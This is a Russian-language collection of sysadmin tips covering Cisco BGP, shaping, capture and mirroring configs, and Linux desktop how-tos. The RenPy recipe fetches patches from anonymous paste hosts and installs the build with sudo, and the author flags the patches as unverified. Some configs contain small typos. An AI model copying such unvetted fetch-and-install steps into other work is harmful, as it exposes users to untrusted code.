       route-map map-AS3216-out permit 100
        match ip address prefix-list our_perfix
        set as-path prepend 5**** 5**** 5****
    
    3. Настраиваем маршрут назначения для исходящего трафика через "set
    local-preference 100", чем больше цифра, тем больше шанс попасть маршруту в таблицу.
    
       route-map map-AS3216-in permit 200
        set local-preference 100
        set community 5****:3216
    
    4. В итоге определили направления потоков информации, а точнее присутствие в
    таблице 0/0 от другого провайдера.
    
     
    ----* 200M поток и BGP FullView через cisco2811 + L3 свич в авральной ситуации   Автор: fantom  [комментарии]
     
    Предыстория:
    "вдруг" отвалился пограничный маршрутизатор, переваривавший BGP FullView (далее
    FV) и 200M интернета.
    Поехать на объект, разбираться что с ним - времени минимум часа 1,5-2 уйдёт,
    если что-то серьёзное, то ещё больше.
    
    На том же объекте стоит cisco 2811 (768Мб RAM), и если FV она еще примет, то
    200М ну никак не осилит.
    
    После примерно 5 минут размышлений решаю попробовать разрулить все это это 2-мя
    устройствами: cisco 2811 и L3 свичем.
    
    Порядок действий:
    
    1.Звоню апстриму, благо люди знакомые и понимающие - договариваюсь, чтобы на мой линк повесили 
    подсеть /29 вместо /30, дают подсетку 1.1.1.0/29 1.1.1.1 - на их стороне;
    1.1.1.2 - на моей для BGP.
    
    2.На L3 свиче приземляю нужный VLAN и прописываю IP 1.1.1.3/29 (L3 свич в моей
    сети участвует по OSPF-у).
    
    3.На  cisco 2811 настраиваем BGP, ключевой момент:
    
       router bgp xxx
       neighbor 1.1.1.1 route-map UP-1-OUT out
    
       route-map  UP-1-OUT permit 100
       match ip address prefix-list My-Networks
       set ip next-hop 1.1.1.3
    
    My-Networks - prefix-list в котором перечислены префиксы, для которых подставлять нужный  next-hop.
    
    Весь исходящий трафик лично я перенаправил через другой канал, оконченный на другой железке.
    
    И последний штрих - обеспечиваем отказоустойчивость, если вдруг наш L3 свитч
    перестаёт маршрутизировать
    (с недорогими моделями такое вполне может случиться) то надо как-то обеспечить
    работоспособность канала,
    было много идей и с условным анонсированием, и с редистрибуцией из другого
    протокола, но все это было
    как-то громоздко и неудобно. Решение нашлось простое и изящное - использовать VRRP !
    
    Итак на ip интерфейсе свича настраиваем vrrp группу 1 на ip 1.1.1.3 с приоритетом например 100, 
    а на cisco 2811 на соответствующем интерфейсе vrrp группу 1 на ip 1.1.1.3 с
    приоритетом например 50.
    
    для cisco выглядит так:
    
       int fast0/0.<n>
       vrrp 1 ip 1.1.1.3
       vrrp 1 priority 50
    
    Для полноты картины, дабы не "завалить" маршрутизатор в случае отказа L3 свича
    или разрыва с ним связи,
    настраиваем на порту свича, куда включён маршрутизатор, шейпер на величину
    приемлемую для маршрутизатора,
    в моем случае я настроил 40 Мбит.
    
    
    Итог.
    
    Схема проработала несколько дней (пока ремонтировали блок питания на отказавшем
    маршрутизаторе), практически без проблем.
    
    Преимущества:
    
    * такая схема может переварить трафика довольно много, при отсутствии трафика через cisco 2811 
    (напомню, что исход полностью ушёл в другой канал, в этот попало примерно 3-4% - те подсети, 
    которых не было в анонсах второго апстрима) практически производительность свича.
    * быстро и дешево.
    * довольно высокая отказоустойчивость, свич L3 и маршрутизатор могут быть
    разнесены вообще по разным
    площадкам, в общем есть пространство для маневров.
    
    Из недостатков:
    
    * нельзя снять netflow со свича, ибо мой не умеет этого.
    * недорогие L3 свичи не умеют отдать по snmp трафик по IP интерфейсу,
    определить сколько потребляется
    интернета можно только косвенными путями.
    
     
    ----* Почему при использовании туннеля возникают проблемы с некоторыми хостами. (доп. ссылка 1)   [комментарии]
     
    Выход - поставить на интерфейсе туннеля MTU 1500, вместо 1476.
    Проблема возникает при попытке протолкнуть пакет размером 1500 байт 
    с выставленным DF (don't fragment запрещена фрагментация) битом через интерфейс 1476 байт. 
    Другие решения:
    interface ethernet0 
     ip policy route-map clear-df 
    route-map clear-df permit 10 
     match ip address 101 
     set ip df 0 
    access-list 101 permit tcp 10.1.3.0 0.0.0.255 any 
    
    или
    interface tunnel0 
     ip tcp adjust-mss 1436
    
     
    ----* Как удлиннить путь, для переброса трафика на другой канал.   [комментарии]
     
    router bgp 111
     bgp router-id 1.1.1.1
     network 1.2.3.0
     neighbor 2.2.2.2 route-map SETPATH out
     neighbor 2.2.2.2 remote-as 222
     neighbor 2.2.2.2 next-hop-self
     neighbor 2.2.2.2 soft-reconfiguration inbound
     neighbor 2.2.2.2 distribute-list 60 out
    route-map SETPATH permit 10
      set as-path prepend 111 111 111
    Искуственно удлиняем путь через 222 добавления текущего номера AS (111).
    
     
    ----* Как проверить работу BGP peer'ов   [обсудить]
     
    show ip bgp neighbors
    show ip bgp summary
    
     
    ----* Изменяю конфигурацию BGP на Cisco, но похоже изменения не вступают в силу. Как сделать reset BGP сессий ?   [комментарии]
     
    clear ip bgp [ip peer'а или * для всех]
    
     

       Ограничение и учет трафика на Cisco

    ----* Организация traffic-shape'инга на cisco   Автор: Yuri A. Kabaenkov  [комментарии]
     
    Задача: урезать входящий траффик для клиента 192.168.0.1 до 128Kbit/s на маршрутизаторе cisco.
    Решение:
    На маршрутизаторе вводим следующие команды
     в режиме conf t
    access-list 145 permit ip any host 192.168.0.1
    далее врежиме конфигурации интерфейса
    traffic-shape group 145 128000 7936 7936 1000
    теперь все режется.
    
     
    ----* Включение и сбор ipaccounting   Автор: Yuri A. Kabaenkov  [комментарии]
     
    На cisco выполнить следующие команды в режиме configure terminal:
    ip rcmd rsh-enable
    ip rcmd remote-host hellman 192.168.0.1 hellman2 enable
    где hellman имя пользователя на циске,
    hellman2 имя пользователя на машине 192.168.0.1 с которой забирается статистика.
    Настройка статистики:
    в режиме конфигурации интерфейса с которого хотим снимать статистику
    ip accounting output-packets
    Для сбора и обработки на машине 192.168.0.1 из-под пользователя hellman2 выполнить:
    /usr/bin/rsh -l hellman cisco clear ip accounting checkpoint
    /usr/bin/rsh -l hellman cisco clear ip accounting
    /usr/bin/rsh -l hellman cisco sh ip accounting checkpoint
    output этих команд будет статистика ip accounting.
    
     
    ----* Тест характеристик транзитного канала, проходящего через маршрутизатор Cisco (доп. ссылка 1)   Автор: fantom  [комментарии]
     
    Собственно ситуация проста и банальна, транзит подключили, маршрутизатор (на
    схеме - R2) на удаленном узле поставили, ping побежал... И тут вполне резонный
    вопрос - соответствует ли канал заявленным характеристикам?
    
    Если бы за R2 стоял какой-то сервер, где можно было iperf запустить - проблема
    решилась бы быстро, но там на данный момент ничего кроме собственно самого R2
    нет, ехать почти 200 км тоже не очень хочется, а примерное представление о
    качестве сервиса получить надо.
    
    
    
    Возникла одна простая идея - между R1 и R2 поднять 2 туннеля, на R1 поместить
    их в разные VRF и в VRF 1 добавить интерфейс с Server 1, а в VRF 2
    соответственно интерфейс с Server 2, слегка поднастроить маршрутизацию и по
    получившейся петле прогнать трафик с сервера 1 на сервер 2.
    
    ВАЖНО! ТРАНЗИТНЫЙ КАНАЛ ДОЛЖЕН БЫТЬ СИММЕТРИЧНЫМ, т.е. с одинаковой скоростью в обоих направлениях
    
    Реализация 
    
    Выбираем номера VLAN-ов и IP-ы для линков:
    Т.к. подсеть 172.19.0.0/16 у меня нигде не используется, ее и выберем для тестов
    
       S1 -- R1 vlan 101 172.19.1.0/30
       S2 -- R1 Vlan 102 172.19.4.0/30
    
       R1 -- R2 Tun1 172.19.2.0/30
       R1 -- R2 Tun2 172.19.3.0/30
    
    
    Конфигурация серверов (OS CentOS)
    
    Настроим сервера
    
    Server 1:
    
       vconfig add eth0 101
       ifconfig eth0.101 172.19.1.1/30
       route add -net 172.19.0.0/16 gw 172.19.1.2
    
    Server 2:
    
       vconfig add eth0 102
       ifconfig eth0.101 172.19.4.1/30
       route add -net 172.19.0.0/16 gw 172.19.4.2
    
    Конфигурация маршрутизаторов
    
    R1
    
       !
       ip vrf serv_1 
        rd 111:111
       !
       ip vrf serv_2 
        rd 111:222
       !
       interface Loopback1
        description For_Tun1
        ip address 172.19.101.1 255.255.255.255
       !
       interface Loopback1
        description For_Tun2
        ip address 172.19.102.1 255.255.255.255
       !
       interface Tunnel1
        ip vrf forwarding serv_1
        ip address 172.19.2.1 255.255.255.252
        keepalive 10 3
        tunnel source 172.19.101.1
        tunnel destination 172.19.101.2
       !
       interface Tunnel2
        ip vrf forwarding serv_2
        ip address 172.19.3.1 255.255.255.252
        keepalive 10 3
        tunnel source 172.19.102.1
        tunnel destination 172.19.102.2
       !
       interface FastEthernet0/0.101
        description Server_1
        encapsulation dot1Q 101
        ip vrf forwarding serv_1
        ip address 172.19.1.2 255.255.255.252
       !
       interface FastEthernet0/0.102
        description Server_2
        encapsulation dot1Q 102
        ip vrf forwarding serv_2
        ip address 172.19.4.2 255.255.255.252
       !
       ip route vrf serv_2 172.19.1.0 255.255.255.0 172.19.2.2 
       ip route vrf serv_2 172.19.2.0 255.255.255.0 172.19.2.2
       ip route vrf serv_1 172.19.3.0 255.255.255.0 172.19.1.2 
       ip route vrf serv_1 172.19.4.0 255.255.255.0 172.19.1.2
    
    R2
    
       ip vrf tranzit 
        rd 111:333
       !
       interface Loopback1
        description For_Tun1
        ip address 172.19.101.2 255.255.255.255
       !
       interface Loopback1
        description For_Tun2
        ip address 172.19.102.2 255.255.255.255
       !
       interface Tunnel1
        ip vrf forwarding tranzit
        ip address 172.19.2.2 255.255.255.252
        keepalive 10 3
        tunnel source 172.19.101.2
        tunnel destination 172.19.101.1
       !
       interface Tunnel2
        ip vrf forwarding tranzit
        ip address 172.19.3.2 255.255.255.252
        keepalive 10 3
        tunnel source 172.19.102.2
        tunnel destination 172.19.102.1
       !
       ip route vrf tranzit 172.19.1.0 255.255.255.0 172.19.2.1 
       ip route vrf tranzit 172.19.4.0 255.255.255.0 172.19.3.1
    
    Настройки интерфейсов для транзита и маршрутизации глобальной не показаны
    
    Все, теперь трафик c Server 1 на Server 2 и обратно (точнее трафик с IP
    172.19.1.1 на 172.19.4.1) будет проходить по маршруту:
    
       Server 1 <-VLAN_101-> R1(vrf serv_1) <-Tun1-> R2(vrf tranzit) <-Tun2-> R1(vrf serv_2) <-VLAN_102-> Server 2
    
    Можно запускать iperf, или гонять любой иной трафик, строить графики загрузки и делать выводы :) 
    
    
    PS. Возникла еще одна необходимость подобной проверки R2 - cisco 2811; транзитный канал 35Мбит.
    
    1. ttcp - cisco 2811 при 5Мбит уходит в 100% CPU.
    2. Через 2 тунеля с VRF-ом - все 35М были успешно "переварены" с CPU в районе
    50-90% (сильно разнился PPS т.к. канал забивали то большими то мелкими пакетами).
    
    Вывод - ttcp ограничено применим в cisco реализации так как вся обработка уходит на процессор.
    
     
    ----* Инструмент подобный tcpdump на Cisco (доп. ссылка 1)   Автор: Misha Volodko  [комментарии]
     
    1. Cisco PIX/ASA
    
    ciscoasa(config)#access-list inside_test permit icmp any host 192.168.1.1
    ciscoasa(config)#capture inside_interface access-list inside_test interface inside
       The user pings the inside interface of the ASA (ping 192.168.1.1). This output is displayed.
    ciscoasa#show capture inside_interface
       1: 13:04:06.284897 192.168.1.50 > 192.168.1.1: icmp: echo request
    
    
    2. Cisco router
    
    Создаем ip access-list которым будем "ловить" интересующий нас трафик.
    
       routerA(conf)# access-list 111 permit ip 10.10.10.0 0.0.0.255 10.10.15.0 0.0.0.255
       routerA(conf)# access-list 111 permit ip 10.10.15.0 0.0.0.255 10.10.10.0 0.0.0.255
    
    Запускаем команду на выполнение и смотрим результат:
    
       routerA# debug ip packet 111 detail
    
          IP packet debugging is on (detailed) for access list 111
    
          Mar 1 00:10:32.975: IP: tableid=0, s=10.10.10.5 (FastEthernet0/0), d=10.10.15.1 (Serial2/0), routed via FIB
    
    Это решение не работает с fast-switching (ip route-cache). 
    
     
    ----* Как привязать MAC-адрес к порту на Cisco Catalyst (доп. ссылка 1)   Автор: Citrin  [комментарии]
     
    interface FastEthernet0/2
    port security max-mac-count 1
    port security action shutdown
    !
    interface FastEthernet0/3
    port security max-mac-count 3
    port security action shutdown
    !
    Маки запоминаются сами. Чтоб почистить то что киска запомнила нужно 
    сделать clear port-security насколько помню. 
    
     
    ----* Копирование трафика на сторонний порт в Cisco Catalyst (доп. ссылка 1)   Автор: Skiv  [комментарии]
     
    conf t
    Switch(config)# monitor session session source interface1 both
    Switch(config)# monitor session session destination interface2
    где interface1 это "реальный порт"
         interface2 это "порт для мониторинга"
         both значит что будет прослушиваться весь трафик (и туда и обратно), но можно поставить и rx или tx. 
    
     
    ----* Как зажать трафик на одном из интерфейсов маршрутизатора Cisco   [обсудить]
     
         interface Serial0
            traffic-shape rate 128000 8000 8000 1000
    или
         interface Serial1
            rate-limit output 128000 8000 8000 conform-action transmit   exceed-action drop
    traffic-shape - только исходящий трафик, rate-limit - входящий или исходящий.
    
     
    ----* Управление приоритетом трафика на Cisco (доп. ссылка 1)   [комментарии]
     
    Предотвращаем монополизацию канала сессиями с большим трафиком (WFQ вместо FIFO).
      interface Serial0
         fair-queue
    RED/WRED (Random early detect)
       interface Ethernet0
          random-detect
          hold-queue 200 out
    Определение более приоритетного трафика (уменьшаем приоритет ftp).
       interface Serial0
          priority-group 1
       !
       priority-list 1 protocol ip medium udp domain
       priority-list 1 protocol ip low tcp ftp
       priority-list 1 protocol ip low tcp ftp-data
    Ограничиваем вес трафика в очереди (75% - WWW, 5% - DNS, и 20% остальное)
       interface Serial0
          custom-queue-list 1
       !
       queue-list 1 protocol ip 1 tcp www
       queue-list 1 protocol ip 2 udp domain
       queue-list 1 default 3
       queue-list 1 queue 1 byte-count 7500
       queue-list 1 queue 2 byte-count 500
       queue-list 1 queue 3 byte-count 2000
    Правила применимы только для исходящего трафика.
    
     
    ----* Как ограничить пропускную способность для ICMP пакетов на Cisco (защита от DDoS) (доп. ссылка 1)   [обсудить]
     
    interface xy
       rate-limit output access-group 2020 3000000 512000 786000 conform-action transmit exceed-action drop
    access-list 2020 permit icmp any any echo-reply
    Плюс "ip verify unicast reverse-path" на входящий интерфейс.
    
     
    ----* Как обнулить статистику на счетчиках интерфейса   [комментарии]
     
    clear counters [интерфейс]
    
     

       Пользователю

    ----* Установка движка графических квестов RenPy в Debian (доп. ссылка 1)   Автор: Аноним  [комментарии]
     
    RenPy не ставится в Debian Sid из пакетов из-за конфликта зависимостей. При
    этом оригинальный  RenPy вообще не рассчитан на установку, и setuptools там
    используется для создания отдельно поставляемых бинарных сборок.
    
    Инструкция действительна для коммита
    "4957280f4c39446d1683accc02355b26848b88c2". Если патчи не применяются, то
    склонируйте начиная с этого коммита, примените патчи к нему, и перебазируйте на
    ветку "master".
    
    1. Необходимо поставить зависимости и dev-пакеты, указанные в README.rst в
    репозитории, а также свежий Cython и пакет python3-ecdsa
    
       sudo apt install python3-ecdsa
    
    Ещё требуется поставить утилиту "b3sum", так как через неё мы проверяем
    целостность (работает намного быстрее, чем sha256sum).
    
    2. Выполняем скрипт руками и по-частям, проверяя, что делает каждый шаг:
    
       set -e
       git clone https://github.com/renpy/renpy --depth=1
    
       cd renpy
       git checkout -b fixed
    
       mkdir patches
       cd patches
    
       # Патчи, требуемые для Debian (остальные уже приняты в основной состав).
       curl -o 01_abspath.patch https://salsa.debian.org/games-team/renpy/-/raw/master/debian/patches/01_abspath.patch
       curl -o 02_traceback.patch https://salsa.debian.org/games-team/renpy/-/raw/master/debian/patches/02_traceback.patch
       curl -o 03_checkdir.patch https://salsa.debian.org/games-team/renpy/-/raw/master/debian/patches/03_checkdir.patch
       curl -o read-write-permissions.patch https://salsa.debian.org/games-team/renpy/-/raw/master/debian/patches/read-write-permissions.patch
    
       b3sum -c - << END
       bd44121b2b9306a452746f3a7ba18994f80a247b386eda5cdb9756ba0d9de444  ./01_abspath.patch
       42f4f7d6a2d8870641460f16b675bd969fe32e9cb44b2980d0d41b8ebdcc7cc9  ./02_traceback.patch
       5d0a905b30eb69044c35b38074f9e55b1f1399bcab6c2b91490ad31f82232308  ./03_checkdir.patch
       d5cfcafbf18a39c5994915d36fa20a3b213bcf6683c5440ee71d54f3c868e9c7  ./read-write-permissions.patch
       END
    
       git am ./*.patch
       rm ./*.patch
    
       # Патчи с улучшениями (ставятся на свой страх и риск, так как источник не проверен). Есть пожелание - заапстримьте патчи в https://github.com/renpy/renpy , если там не примут - то в Debian.
       curl https://paste.debian.net/plainh/d75623bc -o 0001-Enable-usage-of-Limited-API-https-docs.python.org-3-.patch
       curl https://paste.debian.net/plainh/f10de1ca -o 0002-Make-pefile-a-non-mandatory-import.-On-Linux-we-don-.patch
       curl https://paste.debian.net/plainh/052354ff -o 0003-Fix-the-incompatibility-in-The-Question-demo.patch
       curl https://paste.debian.net/plainh/b6045a63 -o 0004-Fix-the-problems-in-source-code-relying-on-the-hardc.patch
       curl https://paste.debian.net/plainh/178cdd86 -o 0005-Move-the-bundled-system-modules-in-their-proper-plac.patch
       curl https://paste.debian.net/plainh/28af4ca7 -o 0006-Add-package-metadata-and-create-a-proper-Python-pack.patch
       curl https://paste.debian.net/plainh/93de5501 -o 0007-Add-a-command-to-easily-run-the-launcher.patch
       curl https://paste.debian.net/plainh/3d481187 -o 0008-Define-macros-for-security-hardening-of-standard-lib.patch
    
       b3sum -c - << END
       1ed9ed915b52050ec1f68883510269a161021105158d53fcafa6d1cd6749140a  ./0001-Enable-usage-of-Limited-API-https-docs.python.org-3-.patch
       bf6521898d17de04a48aaaac5de4b9919000df6b73b3a87cdcbd31e10fd4ae94  ./0002-Make-pefile-a-non-mandatory-import.-On-Linux-we-don-.patch
       de66d94a487f683224032303f3bd43267d3a9bda2d2710b640e338f45b09addd  ./0003-Fix-the-incompatibility-in-The-Question-demo.patch
       8ddc41a139366103f08be55c863236cccad60ddc1658240c5452b4086279edf2  ./0004-Fix-the-problems-in-source-code-relying-on-the-hardc.patch
       adf26e49250fb07dcb860dd2d4f75740b957a165ff6bcd545aec24b1c262d905  ./0005-Move-the-bundled-system-modules-in-their-proper-plac.patch
       5dd9a8833d0d9139f7ba28fa5f25d413aaf39303c8af8c18383a425c23500667  ./0006-Add-package-metadata-and-create-a-proper-Python-pack.patch
       c326a3ab80eccb0c4cacd429551c44d94e0b5ad7171cd874fe88f43dd445386d  ./0007-Add-a-command-to-easily-run-the-launcher.patch
       3c3652f648acf54803c192c0e32f6b4093f5081cbbc55e6f5300c9f78fd82721  ./0008-Define-macros-for-security-hardening-of-standard-lib.patch
       END
    
       git am ./*.patch
       rm ./*.patch
    
       # Временные патчи, не рассчитанные для передачи в основной проект
       curl https://paste.debian.net/plainh/db96ffcc -o 0009-Upgrade-the-langs-used-C-C-to-fresh-versions.-Should.patch
       curl https://0x0.st/8Hc0.patch -o ./0010-Tweak-config-for-using-system-fonts-and-lazily-loadi.patch
       curl https://0x0.st/8HcD.patch -o ./0011-Hardcode-some-versions-of-freetype.-Because-the-disc.patch
    
       b3sum -c - << END
       7b98689b1ae71640d455576d596d9ecfaa40c6845fd045f68e821cfc2ab5a1eb  ./0009-Upgrade-the-langs-used-C-C-to-fresh-versions.-Should.patch
       3a70cf47b366a93286bc8727a25bebc02def95a410e2513068fe90a59572bff8  ./0010-Tweak-config-for-using-system-fonts-and-lazily-loadi.patch
       7a4f14953827e1cb9d6a15b6934f59a47a96b10a6c24efcccb6cd331ab3905e4  ./0011-Hardcode-some-versions-of-freetype.-Because-the-disc.patch
       END
    
       git am ./*.patch
       rm ./*.patch
    
       cd ..
    
       # Важно - вручную cython-изировать все файлы. Потому что иначе "setup.py" запустит ОДНОВРЕМЕННО огромное число процессов cython, и всё встанет (если у вас не серверный Xeon с 128 ядрами и огромным объёмом памяти). Я просто завершил по максимуму процессы в сеансе, чтобы освободить память (шутка, на самом деле их прибил SysRQ + f), и через ЗАРАНЕЕ ЗАПУЩЕННЫЙ htop в отдельной виртуальной консоли прибил большую часть процессов.
    
       # find ./renpy -name "*.pyx" -exec cythonize -3 тут ещё много флагов {} \\;
    
       # Важно - сгенерировать файл с версиями, он импортируется!
       python3 -m renpy.versions --nightly
    
       # Собираем бинарный пакет, рекомендуется использовать CC="clang -flto" CXX="clang++ -flto"
       CC="clang -flto" CXX="clang++ -flto" python3 -m build -nwx .
    
       sudo pip3 install --upgrade ./dist/*.whl
    
       cd the_question/game
    
       # Игра требует CJK-шрифт безусловно
       ln -s ../../sdk-fonts ./fonts
       cd ../..
    
    
    В результате запускать игры можно как
    
       renpy ./the_question/game
       renpy ./tutorial/game
    
    и лончер как
    
       renpy.launcher
    
     
    ----* Формирование минималистичного окружения GNOME, очищенного от излишеств (доп. ссылка 1)   [комментарии]
     
    Инструкция по чистке штатного окружения GNOME и вырезания всего лишнего.
    
    Изменяем настройки через dconf, например, устанавливаем тему оформления,
    отключаем звуковые уведомления, включаем показ даты на часах, полностью
    отключаем все пользовательские дополнения, отключаем проверку обновлений,
    настраиваем переключение раскладки по клавише Caps Lock, убираем мигание
    курсора и т.п.
    
       dconf write '/org/gnome/desktop/input-sources/xkb-options'  "['grp:caps_toggle']"
       dconf write '/org/gnome/desktop/interface/clock-show-date'  'true'
       dconf write '/org/gnome/desktop/interface/cursor-blink' 'false'
       dconf write '/org/gnome/desktop/interface/gtk-theme'  "'Adwaita- dark'"
       dconf write '/org/gnome/desktop/privacy/old-files-age' 'uint32 7'}
       dconf write '/org/gnome/desktop/privacy/remove-old-trash-files' 'true'
       dconf write '/org/gnome/desktop/privacy/report-technical-problems'     'false'
       dconf write '/org/gnome/desktop/search-providers/disable-external'  'true'
       dconf write '/org/gnome/desktop/wm/preferences/audible-bell' 'false'
       dconf write '/org/gnome/desktop/wm/preferences/focus-mode' "'sloppy'"
       dconf write '/org/gnome/settings-daemon/plugins/color/night-light-enabled'  'true'
       dconf write '/org/gnome/settings-daemon/plugins/xsettings/antialiasing' "'rgba'"
       dconf write '/org/gnome/shell/disable-user-extensions'  'true'
       dconf write '/org/gnome/software/allow-updates' 'false'
       dconf write '/org/gnome/software/download-updates' 'false'
       dconf write '/org/gnome/terminal/legacy/default-show-menubar'  'false'
    
    Удаляем излишества, такие как демон поисковой индексации Tracker, почтовый
    клиент Evolution, средства интеграции с online-службами, каталог приложений
    GNOME Software и специфичные приложения GNOME, такие как Totem и GNONE Photos.
    
    Например, в Fedora 28 можно удалить пакеты:
    
      dnf remove cheese
      dnf remove evolution
      dnf remove evolution-ews
      dnf remove evolution-help
      dnf remove gfbgraph
      dnf remove gnome-boxes
      dnf remove gnome-calendar
      dnf remove gnome-contacts
      dnf remove gnome-dictionary
      dnf remove gnome-documents
      dnf remove gnome-getting-started-docs
      dnf remove gnome-initial-setup
      dnf remove gnome-maps
      dnf remove gnome-online-miners
      dnf remove gnome-photos
      dnf remove gnome-software
      dnf remove gnome-user-docs
      dnf remove gnome-user-share
      dnf remove gnome-video-effects
      dnf remove gnome-weather
      dnf remove simple-scan
      dnf remove totem
      dnf remove tracker-miners
      dnf remove yelp
    
    На всякий случай проверим, чтобы случайно не удалить ключевые зависимости:
    
       dnf install eog evince evolution-data-server flatpak gdm gnome-keyring gnome-menus \
         gnome-screenshot gnome-shell gnome-terminal gnome-tweaks nautilus redhat-menus
    
    
    Пакеты evolution-data-server и tracker связаны зависимостями с базовыми
    компонентами GNOME и удалить их не получится. Поэтому ограничимся отключения
    связанных с ними сервисов:
    
       systemctl --user mask evolution-addressbook-factory.service
       systemctl --user mask evolution-calendar-factory.service
       systemctl --user mask evolution-source-registry.service
       systemctl --user mask gvfs-goa-volume-monitor.service
       systemctl --user mask tracker-store.service
    
    Удаляем БД tracker:
    
       rm -rf ~/.cache/tracker
    
    В настройках Firefox отключаем плагин интеграции с GNOME Shell и меняем тему оформления, в user.js:
    
       user_pref("plugin.state.libgnome-shell-browser-plugin", 0);
       user_pref("widget.content.gtk-theme-override", "Adwaita:light");
    
    При желании в Firefox можно использовать https://github.com/pyllyukko/user.js с
    настройками для обеспечения максимальной безопасности и блокирования
    отслеживания (отключены WebRTC, webGL, Web Audio, Service/Web Workers, User
    Timing, mozTCPSocket, Pocket, telemetry  и т.п.).
    
     
    ----* Создание QR-кода в консоли, чтобы быстро перенести текст на смартфон (доп. ссылка 1)   Автор: igor_chubin  [комментарии]
     
    Для того чтобы быстро перенести текст из консоли или браузера на смартфон,
    можно воспользоваться QR-кодом: сконвертировать текст в консоли в QR-код,
    а потом сконвертировать его обратно в текст на смартфоне.
    
    Это делается так:
    
      $ curl qrenco.de/Текст_который_нужно_сконвертировать
    
    В консоли будет показан QR-код. Его можно сфотографировать телефоном
    или вставить в текстовый файл.
    
    
    
    Сконвертировать фрагмент текста в QR-код можно прямо в Vim.
    Для этого нужно выделить текст (shift V и стрелки)
    и нажать:
    
      !curl -F-=\\<- qrenco.de
    
    Аналогичным образом, если добавить в браузере к URL слева qrenco.de/ ,
    URL сконвертируется в QR-код.
    
    Для создания QR-кодов сервис qrenco.de использует библиотеку libqrencode.
    Если библиотека в системе установлена, сгенерировать QR-код можно командой:
    
         echo Текст_который_нужно_сконвертировать | qrencode -t UTF8
    
    
    
    Сравнение qrenco.de и libqrencode
    
    Преимущество qrenco.de по сравнению с libqrencode:
    
    1. Не требуется инсталляция
    2. PNG-коды могут непосредственно использоваться в HTML-страницах (<img src='http://qrenco.de/text-to-be-encoded'/>
    
    Преимущество libqrencode по сравнению с qrenco.de:
    
    1. Не требуется соединение с Интернетом
    2. Чувствительные данные не передаются наружу
    
    Альтернативы QR-коду для передачи текста на смартфон 
    
    В большинстве случаев текст можно переслать пользуясь почтой или другими
    средствами связи (jabber, twitter, slack и т.д.) доступными на смартфоне.
    
    Другой способ, это публикация текста на таких сервисах как ix.io, sprunge.us
    или ptpb.pw с помощью curl
    и последующее вбивание URL в браузер телефона:
    
         echo Текст_который_нужно_передать_на_телефон | curl -F 'sprunge=<-' http://sprunge.us
    
    Минус этого решения заключается в том, что он требует большего количества манипуляций
    (вбить сгенерированный url на телефоне, выделить текст в браузере, скопировать
    текст) в противоположность использованию QR-кода, где текст сразу же
    оказывается в буфере обмена телефона.
    
    Второй минус - чувствительная информация (такая как пароли, номера счетов
    и так далее) публикуется в интернете,
    в то время как при использовании libqrencode - нет.
    
    Третье - qrenco.de и libqrencode - программы с открытым исходным
    кодом, они могут быть проинсталлированы и использованы локально (на локальном
    хосте в случае libqrencode или в локальной сети в случае qrenco.de)
    и не требуют для своего использования соединения с Интернетом.
    
     
    ----* Установка клиента Steam в chroot-окружении Debian GNU/Linux c драйвером NVIDIA  (доп. ссылка 1)   Автор: EuPhobos  [комментарии]
     
    Создание и подготовка chroot-окружения с системным окружением Ubuntu:
    
       # mkdir ubuntu
       # debootstrap quantal ./ubuntu/ http://mirror.yandex.ru/ubuntu
       # mount --bind /proc ./ubuntu/proc/
       # mount --bind /sys ./ubuntu/sys
       # mount --bind /dev ./ubuntu/dev
    
    Входим в созданное окружение:
    
       # chroot ./ubuntu/ /bin/bash
    
    Далее, подключение/обновление репозиториев Ubuntu и установка нужных приложения:
    
       # echo "deb http://mirror.yandex.ru/ubuntu quantal main multiverse universe" > /etc/apt/sources.list
       # apt-get update
       # apt-get install mesa-utils wget binutils
    
    Проверяем GL:
    
       # glxinfo | grep OpenGL
    
       libGL error: failed to load driver: swrast
       libGL error: Try again with LIBGL_DEBUG=verbose for more details.
       OpenGL vendor string: NVIDIA Corporation
       OpenGL renderer string: GeForce GT 240/PCIe/SSE2/3DNOW!
       OpenGL version string: 1.4 (2.1.2 NVIDIA 304.64)
    
    Само собой, о чём и речь, в чруте GL не работает, пишет мой драйвер, но "OpenGL
    version string: 1.4", что не есть хорошо, так же glxgears совсем не работает,
    поэтому придётся параллельно поставить библиотеки NVIDIA, такого же драйвера
    внутри chroot, без компиляции модулей.
    
       # wget http://ru.download.nvidia.com/XFree86/Linux-x86/304.64/NVIDI...
       # chmod +x ./NVIDIA-Linux-x86-304.64.run
       # ./NVIDIA-Linux-x86-304.64.run --no-kernel-module
    
    (на крики драйвера, соглашаемся что есть ошибки, просим продолжить установку)
    
       # glxinfo | grep OpenGL
    
       OpenGL vendor string: NVIDIA Corporation
       OpenGL renderer string: GeForce GT 240/PCIe/SSE2/3DNOW!
       OpenGL version string: 3.3.0 NVIDIA 304.64
       OpenGL shading language version string: 3.30 NVIDIA via Cg compiler
    
    То что надо!
    
       # glxgears
    
    и ФПС как в хост-системе, идём далее
    
    Ставим steam:
    
       # wget http://media.steampowered.com/client/installer/steam.deb
       # dpkg -i ./steam.deb
       # steam
    
       Setting up Steam content in /root/.local/share/Steam
       tar (child): xz: Cannot exec: No such file or directory
       tar (child): Error is not recoverable: exiting now
       tar: Child returned status 2
       tar: Error is not recoverable: exiting now
       Failed to extract /usr/lib/steam/bootstraplinux_ubuntu12_32.tar.xz, aborting installation.
    
    Угу, кучи зависимостей не хватает, и самое главное нет xzip, ну да ладно, ставим
    
       # apt-get install xzip
    
    Упс.. апт-гет не даёт что либо менять в системе, пока есть ошибки в
    зависимостях, я особо и не пользуюсь apt-get, поэтому здесь перехожу на aptitude
    
    Значит пока сносим steam
    
       # dpkg -r steam
       # apt-get install xzip aptitude
       # dpkg -i ./steam.deb
       # steam
    
    Отлично, запустился клиент стима и обновляется.. ждём-ждём-ждём..
    
       Setting up Steam content in /root/.local/share/Steam
       Steam needs to install these additional packages:
        jockey-common, zenity, xterm, libcurl3-gnutls:i386, libjpeg-turbo8:i386, 
        libogg0:i386, libpixman-1-0:i386, libtheora0:i386, libvorbis0a:i386, 
        libvorbisenc2:i386, libvorbisfile3:i386, libasound2:i386, libcairo2:i386, 
        libcups2:i386, libfontconfig1:i386, libfreetype6:i386, libgcrypt11:i386, 
        libgdk-pixbuf2.0-0:i386, libgtk2.0-0:i386, libnspr4:i386, libnss3:i386, 
        libopenal1:i386, libpango1.0-0:i386, libpulse0:i386, libxi6:i386, libxinerama1:i386, 
        libxrandr2:i386, libxrender1:i386, libsdl1.2debian:i386
    
    Стим захотел данные пакеты и по умолчанию обратился к apt-get, само собой
